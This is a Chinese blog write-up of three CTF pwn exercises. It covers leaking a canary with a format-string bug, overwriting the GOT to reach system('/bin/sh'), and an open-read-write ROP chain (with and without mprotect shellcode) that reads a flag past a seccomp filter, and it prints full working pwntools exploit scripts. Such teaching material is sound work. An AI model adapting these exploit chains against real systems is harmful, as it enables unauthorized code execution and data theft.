格式化字符串漏洞的两种利用姿势+orw沙盒利用

文章详细介绍了通过三道实例学习格式化字符串漏洞和内存管理技巧,包括泄露canary值、修改GOT表、构造ORW和利用seccomp的限制。作者展示了如何使用pwn、IDA、GDB等工具进行内存分析、地址计算和权限获取的过程。
摘要由CSDN通过智能技术生成

通过三道例题学习一下格式化字符串漏洞和orw(沙盒),所有例题需要附件可以私信我

pwn1:泄露内存

checksec查看信息

90090ceed89f40af9b7b04d1ebcbe3b1.png

拖入ida审计代码

f58a1d388f334f7d9957c97bf2ac8c37.png

 首先读入八个字节,在打印出读入的东西,这里printf是存在漏洞的,然后在读入我们输入的数据给v4,判断v4和v6是否相等,相等则获得权限。这里v6就是一个canary,我们可以利用格式化字符串漏洞泄露canary

from pwn import*
p=process('./pwn1')
context.log_level='debug'
payload=b'%11$p'
p.sendline(payload)
p.recvuntil('0x')
canary=int(p.recv(16),16)
#gdb.attach(p)
print(hex(canary))
payload=str(canary)
p.sendline(payload)
p.interactive()

这里的偏移一次次尝试即可。

pwn2: 修改got表

86635cab68aa455ca7c11f78ae3687bb.png

 

拖入ida

e57368ea01bc4ca489305f6011157941.png

发现read读入0x100个字节,没法栈溢出,打印我们输入的数据,打印$0,这里说一下$0=/bin/sh,所以我们只需要把put的地址改为system的即可

052e470fa6b94e919e83cf6fe1091521.png

可以看到ida里面是没有system的,我们需要去泄露libc地址。 先去计算偏移

527fd439a5534e20acf8980408d206e1.png

偏移为6

但是程序只能够读入一次数据,我们泄露完libc地址程序就结束了。emmmm,接下来就很奇妙了,我们把puts的地址改为main函数的地址,程序是不是就可以无限输入了。

尝试一下

from pwn import*
context(log_level = 'debug',arch = 'amd64')
p=process('./pwn2')
elf=ELF('./pwn2')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
rdi=0x00000000004012a3
main=0x4011dd
payload = fmtstr_payload(6,{elf.got['puts']:main})
#gdb.attach(p)
p.sendline(payload)
p.interactive()

发现程序确实可以多次读入数据了。

pay=b'%7$saaaa'+p64(elf.got['read'])
p.sendline(pay)
read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(read_addr))
libc_base=read_addr-libc.sym['read']

接受read的地址计算出基址,得到system的地址,在利用偏移将main的地址修改为system的地址,执行$0获得权限

from pwn import*
context(log_level = 'debug',arch = 'amd64')
p=process('./pwn2')
elf=ELF('./pwn2')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
rdi=0x00000000004012a3
main=0x4011dd
payload = fmtstr_payload(6,{elf.got['puts']:main})
#gdb.attach(p)
p.sendline(payload)
pay=b'%7$saaaa'+p64(elf.got['read'])
p.sendline(pay)
read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(read_addr))
libc_base=read_addr-libc.sym['read']
one_gadget=libc_base+0x4c5d0
system=libc_base+libc.sym['system']
payload = fmtstr_payload(6,{elf.got['puts']:system})
p.sendline(payload)
p.interactive()

pwn3:orw

b260666a1e3a4275a5ba3b685b9c6bef.png

 拖入ida审计代码

1cc0f1b5afff491199a1bb812aa4c085.png

 打印puts的地址,read读入0x200个字节

这里我们利用seccomp-tools可以分析程序的seccomp状态,哪些被系统被禁用了安装
安装流程:
sudo apt install gcc ruby-dev
gem install seccomp-tools

5bd8fdbb34dc4686bc9a1673492f20c4.png

当我们执行了execve返回0003杀死程序,所以我们是无法通过正常的方法获得权限的,这里我们就要换一种方法了,构造orw,构造orw需要open,read,write三个函数,通俗来说就是利用open打开flag文件,read读取里面的内容,再通过write将其打印出来,并不需要获得权限即可得到flag。

接下来就开始实操。

程序已经泄露了puts的地址,我们只需要接收地址计算出libc基址即可,这里read并不能读取多数字节,我们可以联想到栈迁移的知识,修改rbp实现任意地址写

a0bc8a751b84454f9566be5617c93a95.png

99c6a4d0d36046dc9e45c64f4b1c87f9.png 

from pwn import*
context(log_level = 'debug',arch = 'amd64')
p=process('./pwn1')
elf=ELF('./pwn1')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
rdi=0x00000000004012c3
p.recvuntil('0x')
aaa=int(p.recv(12),16)
print(hex(aaa))
bss=0x404040+0x200
payload=b'a'*(0x20)+p64(bss+0x20)+p64(0x401220)
p.sendline(payload)
libc_base=aaa-libc.sym['puts']
print(hex(libc_base))
p.interactive()

 接下来我们就可以开始构造orw了

构造orw也是有两种方法的,第一种是利用mprotect函数修改权限,另一种就是直接调用三个函数

先讲mprotect

mprotect=libc_base+libc.sym['mprotect']
rsi=libc_base+0x0000000000029419
rdx—r12=libc_base+0x0000000000084565
payload=b'a'*(0x108)+p64(rdi)+p64(0x404000)+p64(rsi)+p64(0x1000)+p64(rdx—r12)+p64(7)*2+p64(mprotect)+p64(xxxxxx)
payload += asm(shellcraft.open('/flag'))
payload += asm(shellcraft.read(3,bss+0x700,0x100))
payload += asm(shellcraft.write(1,bss+0x700,0x100))
p.sendline(payload)
p.interactive()

利用mprotect函数将页权限修改为可读可写可执行。将我们构造的orw写入bss段内,但是此时我们是无法执行orw的,他们只是被写入了栈内,并没有执行,我们需要将他们的起始地址作为mprotect函数的返回地址,执行命令。

进入gdb调试,找到orw的起始地址

25770da4eb93475a8d3df83f732c0053.png

这里就是我们构造的orw,这里是有一个pop的操作的,所以我们的返回地址是0x4042a8+8

1834c5c4b1cc49309ac6b7e5224a19f3.png

打印出来flag

 

from pwn import*
context(log_level = 'debug',arch = 'amd64')
p=process('./pwn1')
elf=ELF('./pwn1')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
rdi=0x00000000004012c3
p.recvuntil('0x')
aaa=int(p.recv(12),16)
print(hex(aaa))
bss=0x404040+0x200
payload=b'a'*(0x20)+p64(bss+0x20)+p64(0x401220)

p.sendline(payload)
libc_base=aaa-libc.sym['puts']
print(hex(libc_base))
mprotect=libc_base+libc.sym['mprotect']
rsi=libc_base+0x0000000000029419
rdx=libc_base+0x0000000000084565
payload=b'a'*(0x28)+p64(rdi)+p64(0x404000)+p64(rsi)+p64(0x1000)+p64(rdx)+p64(7)*2+p64(mprotect)+p64(0x4042a8+8)
payload += asm(shellcraft.open('/flag'))
payload += asm(shellcraft.read(3,bss+0x700,0x100))
payload += asm(shellcraft.write(1,bss+0x700,0x100))
#gdb.attach(p)
p.sendline(payload)
p.interactive()

需要注意,我们要在本地运行,是需要在根目录下放一个flag文件的

接下来是第二种方法,直接构造三个函数

完整exp如下:

from pwn import*
context(os='linux',arch='amd64',log_level='debug')
elf=ELF('./pwn1')
p = process("./pwn1")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
rdi=0x00000000004012c3
bss=0x404040+0x200 
p.recvuntil(b'0x')
libc_base=int(p.recv(12),16)-libc.sym['puts']
print(hex(libc_base))
payload  = b'a'*0x20+p64(bss+0x20)+p64(0x401220)
p.send(payload)
rdx_r12=0x0000000000119431+libc_base
rsi=0x000000000002601f+libc_base
open_addr=libc_base+libc.sym['open']
read_addr=libc_base+libc.sym['read']
write_addr=libc_base+libc.sym['write']
payload  = b'a'*(0x20)+b'/flag\x00\x00\x00'

payload += p64(rdi)
payload += p64(bss+0x20)
payload += p64(rsi)
payload += p64(0)
payload += p64(open_addr)
#构造open函数
payload += p64(rdi)
payload += p64(3)
payload += p64(rsi)
payload += p64(bss+0x700)
payload += p64(rdx_r12)
payload += p64(0x100)*2
payload += p64(read_addr)
#构造read函数
payload += p64(rdi)
payload += p64(1)
payload += p64(rsi)
payload += p64(bss+0x700)
payload += p64(rdx_r12)
payload += p64(0x100)*2
payload += p64(write_addr)
#构造write函数
p.sendline(payload)
p.interactive()

根据libc基址得到open,read,write函数的地址,构造函数。

 我们是把flag文件位置放在了rbp那里,因此open函数读取bss+0x20的内容。

两种方法中read函数的第一个参数都是3,这是固定的。但是write函数的第一个参数是可以随便写的。

 

 

  • 17
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值